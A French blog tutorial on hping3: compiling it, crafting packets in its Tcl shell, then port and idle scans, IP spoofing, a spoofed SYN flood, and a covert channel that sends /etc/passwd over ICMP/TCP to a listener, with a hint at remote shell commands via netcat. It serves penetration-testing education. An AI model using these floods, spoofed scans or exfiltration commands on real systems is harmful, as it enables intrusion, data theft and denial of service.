HPing : manipulation de packet et penetration testing
Aujourd'hui, je vous propose une petite excursion avec HPing, dont je vous parlais dans un de mes précédents posts.
HPing est avant tout un outil de manipulation de packet qui fonctionne à la manière du ping, mais qui n'y est pas limité. En effet, il peut utiliser d'autres protocoles dont TCP et UDP, d'ailleurs, par défaut, il tourne en mode TCP. Cependant, ses fonctionnalités peuvent également servir à tester la sécurité du réseau et de ses équipements.
Le man nous vante d'ailleurs des mérites très alléchants :
- Tester les règles de firewall
- Réaliser des scans de port avancés
- Tester les performances réseau en utilisant différents protocoles, tailles de paquet, TOS (type of service) et la fragmentation
- Découverte des chemins MTU
- Transférer des données à travers et malgré le durcissement de politique des firewall
- Tracerouter via divers protocoles,
- Faire du Firewalk
- Fingerprinter l'OS des machines distantes
- Auditer la stack TCP/IP
- et plein d'autres choses.
Installation
HPing est disponible sur la plupart des dépôts de distribution, malheureusement la mienne ne dispose que de la version 2 -or depuis 2005, il existe une version 3 ! Donc, je passerais par les sources.$ wget http://www.hping.org/hping3-20051105.tar.gz $ tar zxf hping3-20051105.tar.gz && cd hping3-20051105Le INSTALL nous renvoie au classique d'install : ./configure, make, make install, avec une petite notification concernant les *BSD pour la libpcap et le gmake.
$ ./configure build byteorder.c... create byteorder.h... ./configure: line 81: - : commande introuvable -------------------------------------- system type: LINUX LIBPCAP : PCAP=-lpcap PCAP_INCLUDE : MANPATH : /usr/share/man USE_TCL : -DUSE_TCL TCL_VER : TCL_INC : LIBTCL : -ltcl8.6 -lm -lpthread TCLSH : (to modify try configure --help) -------------------------------------- creating Makefile... creating dependences... now you can try `make'Le make tel quel part en erreur :
$ make [...] gcc -c -O2 -Wall -DUSE_TCL -g libpcap_stuff.c libpcap_stuff.c:20:21: erreur: net/bpf.h : Aucun fichier ou dossier de ce type libpcap_stuff.c: In function ‘pcap_recv’: libpcap_stuff.c:61: attention : pointer targets in assignment differ in signedness make: *** [libpcap_stuff.o] Erreur 1En fait, rien de bien grave, en effet, la distribution stocke bpf.h sous /usr/include/pcap/ et non sous /usr/include/net/.
$ ./configure --help configure help: --help show this help --no-tcl disable TCL scripting support even if uid != euidComme le ./configure ne nous donne pas beaucoup d'option pour corriger le tir, on va passer par une petite bidouille :
$ ln -s /usr/include/pcap/bpf.h /usr/include/net/On rerun le make, et ô miracle ! ça compile !
$ make [...] ./hping3 -v hping version 3.0.0-alpha-1 ($Id: release.h,v 1.4 2004/04/09 23:38:56 antirez Exp $) This binary is TCL scripting capable use `make strip' to strip hping3 binary use `make install' to install hping3 $ make strip -rwxr-xr-x 1 bux bux 134632 2010-09-13 11:20 ./hping3 strip hping3 -rwxr-xr-x 1 bux bux 134632 2010-09-13 11:20 ./hping3 $ make install cp -f hping3 /usr/sbin/ chmod 755 /usr/sbin/hping3 ln -s /usr/sbin/hping3 /usr/sbin/hping ln -s /usr/sbin/hping3 /usr/sbin/hping2Visiblement, tout n'a pas été bien brossé car, lorsque l'on fait man hping3, on tombe sur un man décrivant l'utilisation de hping2. Pour avoir accès au mode scripting, il suffit de faire un :
$ hping hping3>
Entrée en matière : la manipulation de paquet
Cette partie est destinée notamment à se familiariser avec le shell HPing. Si vous voulez passer de suite aux choses sérieuses, vous pouvez tout à fait la skipper et vous rendre à la page suivante :) Pour ceux qui sont restés, sachez que Hping comprend un set bien défini d'instruction et c'est ce set que nous allons détailler. C'est un peu long mais très instructif !- hping resolve hostname : renvoie l'IP du hostname en requêtant les DNS
hping3> hping resolve host5 192.168.10.5
- hping send [-nocompile] "expression" : envoie un ou plusieurs paquets TCP/IP selon l'expression fournie. Cette expression est appelée Ars Packet Description (APD) et est telle que "paramètres de connexion+spécification du paquet".
hping3> hping send "ip(saddr=[hping outifa www.hping.org],daddr=www.hping.org,ttl=255)+tcp(sport=123,dport=80,flags=s)"
Ici, saddr vaudra celle de l'interface réseau de sortie lors de la tentative de contact de www.hping.org, à qui on envoie un paquet TCP SYN sur le port 80. L'option -nocompile permet d'éviter à hping de compiler le paquet, c'est-à-dire calculer la checksum, la longueur totale,...
- hping sendraw data est équivalent à l'utilisation de write sur une raw socket. Utile lorsqu'on ne peut pas spécifier le paquet à l'aide de APD.
- hping recv [-hexdata] interface [timeout] [count] spécifie à hping la réception de [count] paquet sur l'interface spécifié et ce pendant [timeout]. Par défaut, si on ne spécifie que interface, hping récupérera et affichera un paquet sous la forme APD. L'option -hexdata permet de formater le payload en hexadécimal.
hping3> hping recv eth0 {ip(ihl=0x5,ver=0x4,tos=0x00,totlen=1228,id=0,fragoff=0,mf=0,df=0, rf=0,ttl=255,proto=17,cksum=0x20ad,saddr=0.0.0.0,daddr=192.168.10.0) +udp(sport=8116,dport=8116,len=1208,cksum=0x1abc)+data(str=...)}
- hping recvraw, qui fonctionne comme hping recv, mais qui renvoie les paquets sans formater par APD. Une amélioration est à venir permettant de passer d'un paquet formaté APD à un raw et vice versa, mais pour le moment, ce n'est pas implémenté (on parle de hping build et hping describe).
- hping iflist : renvoie la liste des interfaces réseaux up :
hping3> hping iflist {lo 16436 {127.0.0.1} {} {LOOPBACK}} {eth0 1500 {192.168.10.3} {192.168.10.255} {BROADCAST}}
- hping outifa target : renvoie l'adresse ip de l'interface réseau par laquelle on peut joindre target
hping3> hping outifa www.k-tux.com 192.168.10.3
- hping getfield layer field [skip] packet : Récupère et affiche le field spécifié dans packet, au niveau de la couche layer. skip indique le nombre de couche à skipper pour le field.;
hping3> hping getfield ip ttl "ip(saddr=[hping outifa www.k-tux.com],daddr=www.k-tux.com,ttl=64)" 64 hping3> set p [hping recv eth0] {ip(ihl=0x5,ver=0x4,tos=0x00,totlen=80,id=43584,fragoff=0,mf=0,df=1, rf=0,ttl=1,proto=17,cksum=0x44fc,saddr=192.168.10.3,daddr=192.168.10.5) +udp(sport=47910,dport=8649,len=60,cksum=0xc801) +data(str=...)} hping3> set packet [lindex $p 0] ip(ihl=0x5,ver=0x4,tos=0x00,totlen=80,id=43584,fragoff=0,mf=0,df=1, rf=0,ttl=1,proto=17,cksum=0x44fc,saddr=192.168.10.3,daddr=192.168.10.5) +udp(sport=47910,dport=8649,len=60,cksum=0xc801) +data(str=...) hping3> hping getfield ip cksum $packet 0x44fc
Ici, on a de l'UDP en sous couche, donc on ne peut pas skipper, il suffit de changer de layer, mais pour info, skipper une couche n'est pas plus difficile que de spécifier le nombre de skip à opérer.
hping3> hping getfield udp cksum $packet 0xc801
- hping hasfield layer field [skip] packet examine packet et détermine si field est présent ou non au niveau de layer. Si oui, il retourne 1, sinon 0.
hping3> hping hasfield ip ttl "ip(saddr=[hping outifa www.k-tux.com],daddr=www.k-tux.com,ttl=64)" 1
- hping setfield layer field value [skip] packet permet de modifier la valeur initiale de field en lui attribuant value. Cette manip regénère un nouveau paquet. Par contre, il n'est pas possible d'ajouter des champs.
hping3> set p [hping recv eth0] ip(ihl=0x5,ver=0x4,tos=0x00,totlen=2960,id=37285,fragoff=0,mf=0,df=1, rf=0,ttl=64,proto=6,cksum=0xbda6,saddr=192.168.10.3,daddr=192.168.10.5) +tcp(sport=770,dport=2049,seq=364448050,ack=3824851245,x2=0x0,off=5,flags=a,win=65535,cksum=0x0288,urp=0)+data(str=...) hping3> set packet [lindex $p 0] ip(ihl=0x5,ver=0x4,tos=0x00,totlen=2960,id=37285,fragoff=0,mf=0,df=1, rf=0,ttl=64,proto=6,cksum=0xbda6,saddr=192.168.10.3,daddr=192.168.10.5) +tcp(sport=770,dport=2049,seq=364448050,ack=3824851245,x2=0x0,off=5,flags=a,win=65535,cksum=0x0288,urp=0)+data(str=...) hping3> hping setfield tcp sport 1451 $packet ip(ihl=0x5,ver=0x4,tos=0x00,totlen=2960,id=37285,fragoff=0,mf=0,df=1, rf=0,ttl=64,proto=6,cksum=0xbda6,saddr=192.168.10.3,daddr=192168.10.5) +tcp(sport=1451,dport=2049,seq=364448050,ack=3824851245,x2=0x0,off=5,flags=a,win=65535,cksum=0x0288,urp=0)+data(str=...)
- hping delfield layer field [skip] packet. Comme son nom l'indique, il s'agit de supprimer un champ du paquet. Il est possible alors de renvoyer un paquet capturé grâce à hping recv, car il suffit de supprimer les champs liés aux checksums, afin que hping puisse les regénérer correctement.
- hping checksum data permet de générer la checksum de data façon Internet.
hping3> while 1 { set p [lindex [hping recv eth0] 0] puts "[hping getfield ip saddr $p] -> [hping getfield ip daddr $p]" }Plein d'autres options sont à disposition du joueur, pour s'en convaincre, rien ne vaut un :
$ hping --help usage: hping host [options] -h --help show this help -v --version show version -c --count packet count -i --interval wait (uX for X microseconds, for example -i u1000) --fast alias for -i u10000 (10 packets for second) --faster alias for -i u1000 (100 packets for second) --flood sent packets as fast as possible. Don't show replies. -n --numeric numeric output -q --quiet quiet -I --interface interface name (otherwise default routing interface) -V --verbose verbose mode -D --debug debugging info -z --bind bind ctrl+z to ttl (default to dst port) -Z --unbind unbind ctrl+z --beep beep for every matching packet received Mode default mode TCP -0 --rawip RAW IP mode -1 --icmp ICMP mode -2 --udp UDP mode -8 --scan SCAN mode. Example: hping --scan 1-30,70-90 -S www.target.host -9 --listen listen mode IP -a --spoof spoof source address --rand-dest random destionation address mode. see the man. --rand-source random source address mode. see the man. -t --ttl ttl (default 64) -N --id id (default random) -W --winid use win* id byte ordering -r --rel relativize id field (to estimate host traffic) -f --frag split packets in more frag. (may pass weak acl) -x --morefrag set more fragments flag -y --dontfrag set dont fragment flag -g --fragoff set the fragment offset -m --mtu set virtual mtu, implies --frag if packet size > mtu -o --tos type of service (default 0x00), try --tos help -G --rroute includes RECORD_ROUTE option and display the route buffer --lsrr loose source routing and record route --ssrr strict source routing and record route -H --ipproto set the IP protocol field, only in RAW IP mode ICMP -C --icmptype icmp type (default echo request) -K --icmpcode icmp code (default 0) --force-icmp send all icmp types (default send only supported types) --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0) --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp) --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask) --icmp-help display help for others icmp options UDP/TCP -s --baseport base source port (default random) -p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec -k --keep keep still source port -w --win winsize (default 64) -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) -Q --seqnum shows only tcp sequence number -b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead. -M --setseq set TCP sequence number -L --setack set TCP ack -F --fin set FIN flag -S --syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag -U --urg set URG flag -X --xmas set X unused flag (0x40) -Y --ymas set Y unused flag (0x80) --tcpexitcode use last tcp->th_flags as exit code --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime Common -d --data data size (default is 0) -E --file data from file -e --sign add 'signature' -j --dump dump packets in hex -J --print dump printable characters -B --safe enable 'safe' protocol -u --end tell you when --file reached EOF and prevent rewind -T --traceroute traceroute mode (implies --bind and --ttl 1) --tr-stop Exit when receive the first not ICMP in traceroute mode --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop --tr-no-rtt Don't calculate/show RTT information in traceroute mode ARS packet description (new, unstable) --apd-send Send the packet described with APD (see docs/APD.txt)L'exécution de script Tcl peut être lancée via un hping exec. En passant, on remarque que l'on a également accès à hping2.
Niveau entrée en matière, nous avons presque fait le tour. Tel quel, vous ne voyez peut-être pas le rapprochement avec toutes les possibilités énoncées en intro, car pour cela, il faut passer en mode avancé.
Manipulations avancées
Comme vous pouvez vous en douter, HPing n'est pas qu'un outil pour jouer avec les paquets. Il recèle en effet beaucoup de facultés qui permettent d'endosser plusieurs profils, tous plus ou moins obscures.Scan de port
Comme par défaut HPing utilise TCP dans ses échanges, on peut facilement profiler une machine cible sur les ports qui sont actifs. Il suffit pour cela d'observer les flags des packet retournés.$ hping -I eth0 -S 192.168.10.5 -p 80 -c 2 HPING 192.168.10.5 (eth0 192.168.10.3): S set, 40 headers + 0 data bytes len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=5840 rtt=0.3 ms len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=5840 rtt=0.2 ms --- 192.168.10.5 hping statistic --- 2 packets tramitted, 2 packets received, 0% packet loss round-trip min/avg/max = 0.2/0.2/0.3 msLe port 80 est ouvert sur 192.168.10.5, car on voit un retour en SYN/ACK (SA).
$ hping -I eth0 -S 192.168.10.5 -p 53 -c 2 HPING 192.168.10.5 (eth0 192.168.10.3): S set, 40 headers + 0 data bytes len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=53 flags=RA seq=0 win=0 rtt=0.2 ms len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=53 flags=RA seq=1 win=0 rtt=0.3 ms --- 192.168.10.5 hping statistic --- 2 packets tramitted, 2 packets received, 0% packet loss round-trip min/avg/max = 0.2/0.2/0.3 msPar contre, le port 53 n'écoute pas sur 192.168.10.5, car on se mange un RESET/ACK (RA). Pas assez industrialisé ?
$ hping -I eth0 -S 192.168.10.5 -p ++53 HPING 192.168.10.5 (eth0 192.168.10.3): S set, 40 headers + 0 data bytes len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=53 flags=RA seq=0 win=0 rtt=0.3 ms len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=54 flags=RA seq=1 win=0 rtt=0.2 ms len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=55 flags=RA seq=2 win=0 rtt=0.3 ms len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=56 flags=RA seq=3 win=0 rtt=0.2 ms len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=57 flags=RA seq=4 win=0 rtt=0.2 ms len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=58 flags=RA seq=5 win=0 rtt=0.2 ms len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=59 flags=RA seq=6 win=0 rtt=0.3 ms len=46 ip=192.168.10.5 ttl=64 DF id=0 sport=60 flags=RA seq=7 win=0 rtt=0.2 ms ^C --- 192.168.10.5 hping statistic --- 8 packets tramitted, 8 packets received, 0% packet loss round-trip min/avg/max = 0.2/0.3/0.3 msIl est possible de combiner les paramètres flags, sequence number, port source, port destination, taille de la fenêtre, ... afin de forger un packet et observer les retours. Par extension, il est donc possible d'utiliser une tierce machine -qui n'enverrait aucun paquet- afin de pouvoir faire de l'idle scanning. En gros, l'idle scanning consiste à spoofer son adresse IP en celle de la machine tierce -qui dispose d'une séquence prévisible du champ ID de l'entête IP (IP_ID)- lorsque l'on s'adresse à la cible et de lancer, en parallèle, un probe continue sur cette dernière. En observant les incrémentations de 2 au lieu de 1 des IP_ID, il est possible d'en déduire les services de la cibles qui ont répondu autrement que par un RESET à la tierce machine. Le spoofed scan visant la cible 192.168.10.5 :
$ hping -I eth0 -a 192.168.10.4 -S 192.168.10.5 -p ++20 HPING 192.168.10.5 (eth0 192.168.10.5): S set, 40 headers + 0 data bytesAucun retour, puisque les réponses sont envoyées sur notre IP spoofée, donc 192.168.10.4. Le probe de 192.168.10.4 :
$ hping -I eth0 -r -S 192.168.10.4 -p 2000 HPING 192.168.10.4 (eth0 192.168.10.4): S set, 40 headers + 0 data bytes .... len=46 ip=192.168.10.4 flags=RA seq=86 ttl=255 id=+1 win=0 rtt=1.6 ms len=46 ip=192.168.10.4 flags=RA seq=87 ttl=255 id=+2 win=0 rtt=1.6 ms len=46 ip=192.168.10.4 flags=RA seq=88 ttl=255 id=+1 win=0 rtt=1.8 ms len=46 ip=192.168.10.4 flags=RA seq=89 ttl=255 id=+1 win=0 rtt=1.7 ms len=46 ip=192.168.10.4 flags=RA seq=90 ttl=255 id=+1 win=0 rtt=1.8 ms len=46 ip=192.168.10.4 flags=RA seq=91 ttl=255 id=+2 win=0 rtt=1.4 msSi on calcule bien, on s'aperçoit que le port 21 et le port 25 de la cible 192.168.10.5 ont répondu à notre machine tierce 192.168.10.4.
Spoofing
Comme on l'a vu, le spoofing d'une IP est facilement jouable via l'option -a, ce qui ouvre les possibilités de tests, sur des attaques de type LAND par exemple (ouverture d'une socket sur une machine, rattachée à elle-même) ou de type contournement de règle (on spoofe l'IP en une IP du réseau interne ou de la DMZ).DOS
Il est possible de spécifier l'intervalle entre les requête, et donc de simuler une attaque de type Denial Of Service. Cela permet notamment de tester les IDS et les Firewalls en place. On flood le port 80 de 192.168.10.5 en spoofant l'ip 192.168.10.4, avec un flag Syn armé et ce avec une fréquence de 1000 microsecondes.$ hping -I eth0 -a 192.168.10.4 -S 192.168.10.5 -p 80 -i u1000
Contournement des règles
Du fait qu'il est possible d'utiliser plusieurs protocoles, HPing propose donc plusieurs façons de communiquer avec une entité externe. Tout réside dans le mode --listen. Si l'on met HPing en mode --listen sur une machine distante et en spécifiant un mot clé qui déclenchera la récupération de données, tout en jouant sur le protocole et les ports à utiliser, on peut alors tout à fait transférer des données au mépris parfois du firewall. Exemple : Sur la machine cible :$ hping 192.168.10.3 --icmp -d 100 --sign signature --file /etc/passwd HPING 192.168.10.3 (eth0 192.168.10.3): icmp mode set, 28 headers + 100 data bytes [main] memlockall(): Success Warning: can't disable memory paging!Sur la machine d'exploitation :
$ hping 192.168.10.5 --listen signature Warning: Unable to guess the output interface hping2 listen mode [main] memlockall(): Success Warning: can't disable memory paging! root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/sbin:/bin/sroot:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/sbin:/bin/sh adm:x:3:4:adm:/var/adm:/bin/sh lp:x:4:7:lp:/var/spool/lpd:/bin/sh sync:x:5:0:sync:/sbin:/h adm:x:3:4:adm:/var/adm:/bin/sh --- 192.168.10.5 hping statistic --- 0 packets tramitted, 0 packets received, 0% packet loss round-trip min/avg/max = 0.0/0.0/0.0 msMême schéma si on utilise du TCP, par exemple sur le port 21 : Sur notre target :
$ hping 192.168.10.3 -p 21 -d 100 --sign signature --file /etc/passwd HPING 192.168.10.3 (eth0 192.168.10.3): NO FLAGS are set, 40 headers + 100 data bytes [main] memlockall(): Success Warning: can't disable memory paging! ^C --- 192.168.10.3 hping statistic --- 22 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 msSur notre machine d'exploit :
$ hping 192.168.10.5 -p 21 --listen signature Warning: Unable to guess the output interface hping2 listen mode [main] memlockall(): Success Warning: can't disable memory paging! root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/sbin:/bin/sroot:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/sh daemon:x:2:2:daemon:/sbin:/bin/sh adm:x:3:4:adm:/var/adm:/bin/sh lp:x:4:7:lp:/var/spool/lpd:/bin/sh sync:x:5:0:sync:/sbin:/h adm:x:3:4:adm:/var/adm:/bin/sh --- 192.168.10.5 hping statistic --- 0 packets tramitted, 0 packets received, 0% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
$ nmap 192.168.10.5 -p 21 Starting Nmap 5.21 ( http://nmap.org ) at 2010-09-30 13:19 MEST Nmap scan report for 192.168.10.5 Host is up (0.000042s latency). PORT STATE SERVICE 21/tcp closed ftp Nmap done: 1 IP address (1 host up) scanned in 0.17 secondsPourtant, le ftp n'est pas activé sur 192.168.1.5, et NMAP nous dit que le port est fermé. Et oui, en fait, peu importe s'il y a un service qui tourne ou pas, HPing ne fait que récupérer les données suivant la signature et ce, au niveau de l'interface réseau. Evidemment, on peut toujours moduler les flags TCP associés (S, SA, ...). Pour aller plus loin encore, on peut tout à fait pousser via nc (netcat) une commande en la passant par echo et la faisant précéder de la signature. Ceci fait, côté cible, on pipe le listen sur un shell. Encore plus propre, se servir du --file pour désigner un script... Beaucoup d'autres manipulations sont possibles, mais le but de cet article n'étant pas d'énumérer les façons d'exploiter une vunérabilité mais bien de démontrer l'utilité de l'outil, je laisse au lecteur le soi de mener ses propres expérimentations.